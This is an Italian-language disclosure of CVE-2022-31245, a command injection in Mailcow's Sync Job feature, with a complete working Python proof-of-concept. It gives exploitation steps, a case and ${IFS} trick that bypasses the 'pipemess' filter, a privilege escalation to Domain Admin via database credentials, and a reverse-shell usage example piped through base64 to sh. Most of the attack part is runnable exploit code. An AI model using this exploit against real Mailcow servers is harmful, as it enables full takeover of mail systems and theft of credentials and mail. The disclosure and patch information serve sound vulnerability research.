
CVE-2022-31245: RCE ed escalation dei privilegi di amministratore di dominio per Mailcow
CVE-2022-31245: RCE ed escalation di privilegi di Domain Admin per Mailcow. Incluso POC.
Segnalato e risolto: 2022-05
Versione patchata: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
Severity: 3/3
Type: Command Injection, RCE, Domain Takeover
Versioni affette: almeno 2019 - 2022-05c
Una vulnerabilità esiste in tutte le versioni recenti di Mailcow in cui un utente normale del sistema può sfruttare la funzione “Sync Job” per ottenere una shell tramite un command injection in imapsync. Usando questa vulnerabilità, un attaccante può poi facilmente spostarsi sul database ed escalare i privilegi al ruolo di “Domain Admin” in Mailcow.
Questo exploit include la persistenza per impostazione predefinita poiché i Sync Job vengono eseguiti periodicamente.
Questo exploit compromette l'intera istanza di Mailcow. Testato e funzionante sulla versione 2022-05c. Patchato nella 2022-05d.
Utilizzando i passaggi seguenti è possibile ricreare la vulnerabilità.
Ottenere la shell:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
Dove il campo "Custom Parameters" è quello importante. CMD può essere un comando shell arbitrario senza spazi. È importante usare le maiuscole!Esempio di payload per Custom Parameters:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD non può contenere spazi, virgolette o barre, usa ${IFS} al posto degli spazi. Le lettere maiuscole per --PIPEMESS sono importanti per bypassare il controllo in functions.mailbox.inc.php alla riga 340:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
Questo comando in maiuscolo funziona comunque poiché imapsync è case insensitive.
Escalation dei privilegi:
envDBUSER e DBPASSmysql e le credenzialiPOC automatizzato. Il POC potrebbe in alcuni casi necessitare di modifiche per essere eseguito contro istanze Mailcow non locali.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")